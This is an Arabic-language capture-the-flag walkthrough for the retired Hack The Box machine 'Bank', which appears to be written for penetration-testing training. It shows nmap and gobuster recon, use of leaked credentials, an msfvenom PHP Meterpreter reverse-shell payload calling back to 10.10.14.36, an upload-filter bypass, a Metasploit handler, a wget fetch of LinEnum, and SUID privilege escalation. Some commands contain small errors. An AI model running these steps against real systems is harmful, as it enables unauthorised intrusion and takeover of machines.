اختراق آلة Bank في Hack The Box: دليل شامل خطوة بخطوة
مقدمة إلى Hack The Box وتحدي Bank
تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة لعشاق الأمن السيبراني واختبار الاختراق، حيث توفر مجموعة واسعة من التحديات التي تُحاكي سيناريوهات حقيقية وأنماط تحديات التقاط العلم (CTF). في هذا المقال، سنستعرض بالتفصيل كيفية اختراق آلة Bank، وهي آلة تُعتبر بسيطة نسبيًا ولكنها تتطلب استطلاعًا دقيقًا للويب للعثور على البيانات اللازمة للدخول.
ملاحظة هامة: نُشير هنا إلى أن هذا الشرح يخص آلة HTB تم إيقافها (retired)، وهو ما يسمح بنشر تفاصيل الاختراق.

سنستخدم الأدوات التالية لاختراق هذه الآلة على نظام Kali Linux:
NmapGobusterSearchsploitMsfconsoleMetasploitMeterpreterLinEnum
لنبدأ رحلتنا.
الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)
تُعد مرحلة الاستطلاع هي الأساس قبل محاولة استغلال أي آلة. قضاء وقت كافٍ في هذه المرحلة يُمكن أن يُحدد بشكل كبير مدى نجاحك في الخطوات اللاحقة، حيث ستجمع أكبر قدر ممكن من المعلومات حول الهدف.
فحص المنافذ باستخدام Nmap
سنبدأ باستخدام أداة Nmap (مخطط الشبكة)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمن. تستخدم Nmap حزم IP الخام لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع مرشحات الحزم/جدران الحماية المستخدمة، وعشرات الخصائص الأخرى.

لإجراء فحص مكثف، نستخدم الأمر التالي:
nmap -A -v bank.htb
-A: تفعيل اكتشاف نظام التشغيل، اكتشاف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).-v: زيادة مستوى الإسهاب لعرض المزيد من التفاصيل.bank.htb: اسم المضيف لآلةBank.
إذا كانت النتائج تبدو مُربكة، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:
nmap bank.htb

من خلال الفحص، نُلاحظ وجود ثلاثة منافذ مفتوحة:
- المنفذ
22: بروتوكول القشرة الآمنة(SSH)، يُستخدم لتسجيلات الدخول الآمنة ونقل الملفات(scp, sftp)وإعادة توجيه المنافذ. - المنفذ
53: نظام أسماء النطاقات(DNS). - المنفذ
80: يُستخدم غالبًا لبروتوكول نقل النص التشعبي(HTTP).
فحص الأدلة باستخدام Gobuster
سنستخدم أداة Gobuster، وهي ماسح ضوئي للأدلة مكتوب بلغة Go. تعتمد Gobuster على قوائم الكلمات (wordlists) الموجودة في دليل /usr/share/wordlists على نظام Kali. سنستخدم قوائم كلمات من dirb و dirbuster.
لفحص الأدلة باستخدام قائمة كلمات dirb/common.txt، نستخدم الأمر التالي:
gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

بعد ملاحظة بعض المجلدات المثيرة للاهتمام، سنجري فحصًا آخر للأدلة باستخدام قائمة كلمات مختلفة وأكثر شمولاً:
gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

الخطوة 2: استكشاف صفحة الويب
بناءً على مرحلة الاستطلاع، سنبدأ بالتعامل مع المنفذ 80، والذي يُشير إلى صفحة Apache2 Ubuntu Default. نحتاج إلى تعيين اسم المضيف (hostname). سنتبع الاصطلاح القياسي لآلات HTB، وهو bank.htb.

نُضيف bank.htb إلى ملف /etc/hosts:
nano /etc/hosts
ثم نضيف السطر التالي:
10.10.10.29 bank.htb

نتحقق من محتوى الملف باستخدام:
cat /etc/hosts

عند التصفح إلى bank.htb، نرى الآن صفحة تسجيل دخول.

من خلال استطلاع gobuster، وجدنا بعض المجلدات. سنتجه إلى /balance-transfer.

عند فحص بعض الملفات، يبدو أن جميعها تحتوي على الاسم الكامل والبريد الإلكتروني وكلمة المرور مشفرة.

نعود إلى الصفحة الرئيسية وننقر على تبويب Size لفرز التحويلات. نلاحظ أن أحد الملفات يختلف عن البقية.

عند النقر على هذا الملف، تظهر رسالة خطأ في الأعلى تُفيد بفشل التشفير لهذا الملف. هذا يسمح لنا برؤية جميع التفاصيل بنص عادي (plain text)!

نعود إلى لوحة تسجيل الدخول وندخل بيانات الاعتماد التي حصلنا عليها. الآن لدينا وصول إلى لوحة تحكم بنك HTB. لا يوجد شيء مثير للاهتمام في هذه الصفحة، لذا ننتقل إلى صفحة الدعم (Support page).

في صفحة الدعم، يمكننا رفع الملفات. سنحاول رفع حمولة (payload).

الخطوة 3: إنشاء استغلال باستخدام MSFvenom
سنستخدم MSFvenom، وهو مولد حمولات قوي يُستخدم لإنشاء استغلالات مخصصة. يمكنكم معرفة المزيد عنه من خلال التوثيق الخاص به.

ولكن أولاً، دعونا نرى في إطار عمل Metasploit Framework أي حمولة يمكننا استخدامها لإنشاء استغلالنا. نعلم أننا بحاجة إلى إنشاء صدفة عكسية (reverse shell)، وهي نوع من الصدفات حيث يتصل الجهاز المستهدف بالجهاز المهاجم. يقوم الجهاز المهاجم بفتح منفذ استماع (listener port) يستقبل عليه الاتصال، ومن خلاله يتم تحقيق تنفيذ التعليمات البرمجية أو الأوامر.

يجب أن تكون الصدفة العكسية من نوع TCP لـ PHP، وسنستخدم Meterpreter. وفقًا لموقع Offensive Security، يُعرف Meterpreter بأنه حمولة متقدمة وقابلة للتوسيع ديناميكيًا، تستخدم مراحل حقن مكتبات DLL في الذاكرة، ويتم توسيعها عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس المرحلة وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.

نُطلق Metasploit ونبحث عن حمولات reverse TCP. نستخدم الأمر التالي:
search php meterpreter reverse_tcp
نجد حمولة مثيرة للاهتمام، رقم 594، وهي Reverse TCP Stager. هذه الحمولة تحقن خادم Meterpreter DLL عبر حمولة Reflective Dll Injection وتتصل مرة أخرى بالمهاجم:
payload/php/meterpreter/reverse_tcp
الآن نعود إلى msfvenom لإنشاء استغلالنا.

نستخدم الأمر التالي لإنشاء الحمولة:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php
ثم نتحقق باستخدام ls مما إذا كان الملف قد تم إنشاؤه:

ونعرض محتوى الملف لرؤية الاستغلال باستخدام:
cat HTBbankshell.php

نعود إلى صفحة الدعم. نضيف العنوان والرسالة ونرفع الملف في النموذج.

عند النقر على زر الإرسال، تظهر رسالة خطأ. يبدو أن نوع الملف لا يعمل.

نتفحص الكود المصدري ونرى تعليقًا يُشير إلى أن امتداد الملف .htb مطلوب لتنفيذ php لأغراض التصحيح فقط.

نقوم بتغيير امتداد الحمولة من HTBbankshell.php إلى HTBbankshell.htb.

ملفنا الآن جاهز للرفع على صفحة الدعم.

وهذا يبدو أنه يعمل! تم رفع الحمولة بنجاح على صفحة الدعم.

الخطوة 4: إعداد منفذ استماع (Listener) باستخدام Metasploit
نعود إلى Metasploit حيث نستخدم الأمر التالي لتعيين معالج الحمولة (payload handler):
use exploit/multi/handler
أولاً، نُعين الحمولة:
set payload php/meterpreter/reverse_tcp
ثم نُعين المضيف المحلي (LHOST):
set lhost 10.10.14.36
وأخيرًا، نُعين المنفذ المحلي (LPORT):
set lport 4444
إذا تحققنا من الخيارات الآن، يجب أن نرى أن كل شيء قد تم إعداده.

لنُشغل الاستغلال. بعد ظهور هذه الرسالة:
Started reverse TCP handler on 10.10.14.36:4444
نعود إلى المتصفح ونُعيد تحميل الصفحة التي تستضيف السكربت الخبيث:
bank.htb/uploads/HTBbankshell.php

يجب أن ترى بعد ذلك جلسة Meterpreter قد تم إنشاؤها.

نبدأ بجمع بعض المعلومات باستخدام الأمر getuid الذي يُرجع معرف المستخدم الحقيقي للعملية المستدعية، والأمر sysinfo للحصول على معلومات النظام.

الخطوة 5: البحث عن علامة user.txt
نبدأ بالتنقل إلى مجلد الجذر (root) ونُدرج المجلدات/الملفات.

ننتقل إلى مجلد home باستخدام:
cd home
ونرى مستخدمًا يُدعى chris.

ننتقل إلى دليل chris، وعندما نُدرج الملفات…

نجد ملف user.txt! لقراءة محتوى الملف، نستخدم الأمر:
cat user.txt
الآن بعد أن حصلنا على علامة المستخدم (user flag)، دعنا نجد علامة الجذر (root flag)!
الخطوة 6: تصعيد الامتيازات (Privilege Escalation)
نحاول التنقل إلى مجلد الجذر (root)، ولكن الوصول مرفوض.

سنستخدم LinEnum لتعداد المزيد من المعلومات من هذه الآلة. LinEnum تُستخدم لتعداد نظام Linux المحلي المبرمج وفحوصات تصعيد الامتيازات.
نجلب LinEnum من GitHub باستخدام:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

نتحقق باستخدام هذا الأمر مما إذا كان السكربت قد تم جلبه بشكل صحيح:
ls -la

نستخدم الأمر التالي chmod 777 LinEnum.sh لتغيير أذونات الملف وجعله قابلاً للقراءة والكتابة والتنفيذ من قبل الجميع.
chmod 777 LinEnum.sh

ضمن meterpreter، نتحقق من موقع الملف باستخدام:
lls -S "LinEnum.sh"

نُشغل خادم php على طرفية أخرى باستخدام:
php -S 10.10.14.36:4444

نكتب الأمر التالي للحصول على صدفة قياسية (standard shell) على النظام المستهدف:
shell
نُنشئ صدفة TTY باستخدام:
python3 -c 'import pty;pty.spawn("/bin/bash/")'
وننقل الملف إلى الآلة باستخدام:
wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh
حيث نقوم بنسخ الملف من جهاز Kali الخاص بنا إلى مجلد temp على الآلة المستهدفة.

ثم ننتقل إلى مجلد temp للتحقق مما إذا كان الملف قد تم نقله بشكل صحيح.

ثم نُشغل السكربت باستخدام:
sh ./LinEnum.sh

يُقدم الفحص الكثير من المعلومات. نبحث عن قسم الملفات المثيرة للاهتمام، وتحديدًا قسم ملفات SUID. يُعرف SUID بأنه يمنح أذونات مؤقتة للمستخدم لتشغيل برنامج/ملف بأذونات مالك الملف بدلاً من المستخدم الذي يُشغله.
نُلاحظ ملفًا مثيرًا للاهتمام:
/var/htb/bin/emergency

نتنقل إلى /var/htb/emergency.

نُشغله باستخدام:
./emergency
ويُسأل عما إذا كنا نريد الحصول على صدفة الجذر (root shell). بالطبع!

الآن لدينا وصول الجذر إلى الآلة.

يمكننا الآن التنقل إلى مجلد الجذر.

نجد ملف root.txt! لقراءة محتوى الملف، نستخدم الأمر:
cat root.txt
تهانينا! لقد عثرت على كلتا العلامتين (flags)!
الخلاصة التقنية
يُبرز تحدي Bank في Hack The Box أهمية الاستطلاع الشامل كخطوة أولى حاسمة في أي عملية اختبار اختراق. من خلال استخدام أدوات مثل Nmap و Gobuster، تمكنا من تحديد المنافذ المفتوحة والأدلة المخفية التي قادتنا إلى ثغرة في آلية التشفير، مما سمح بالوصول الأولي إلى لوحة التحكم. تُظهر هذه الحالة كيف أن خطأً بسيطًا في معالجة الملفات يمكن أن يؤدي إلى كشف بيانات حساسة وفتح الباب أمام المهاجمين.
علاوة على ذلك، يُوضح السيناريو فعالية Metasploit Framework و MSFvenom في إنشاء وإدارة الحمولات والصدفات العكسية، خاصة مع Meterpreter الذي يوفر تحكمًا مرنًا في النظام المستهدف. كانت القدرة على تجاوز قيود رفع الملفات بتغيير الامتداد إلى .htb نقطة محورية تُشير إلى أهمية الفحص الدقيق للكود المصدري أو رسائل الخطأ. أخيرًا، تم تصعيد الامتيازات بنجاح باستخدام أداة LinEnum لتحديد ملف SUID قابل للاستغلال (/var/htb/bin/emergency)، مما أكد على ضرورة مراجعة أذونات الملفات بشكل دوري في الأنظمة الحقيقية لمنع الوصول غير المصرح به إلى الجذر. يُعد هذا التحدي مثالًا ممتازًا على دورة حياة الاختراق الكاملة من الاستطلاع إلى تصعيد الامتيازات.
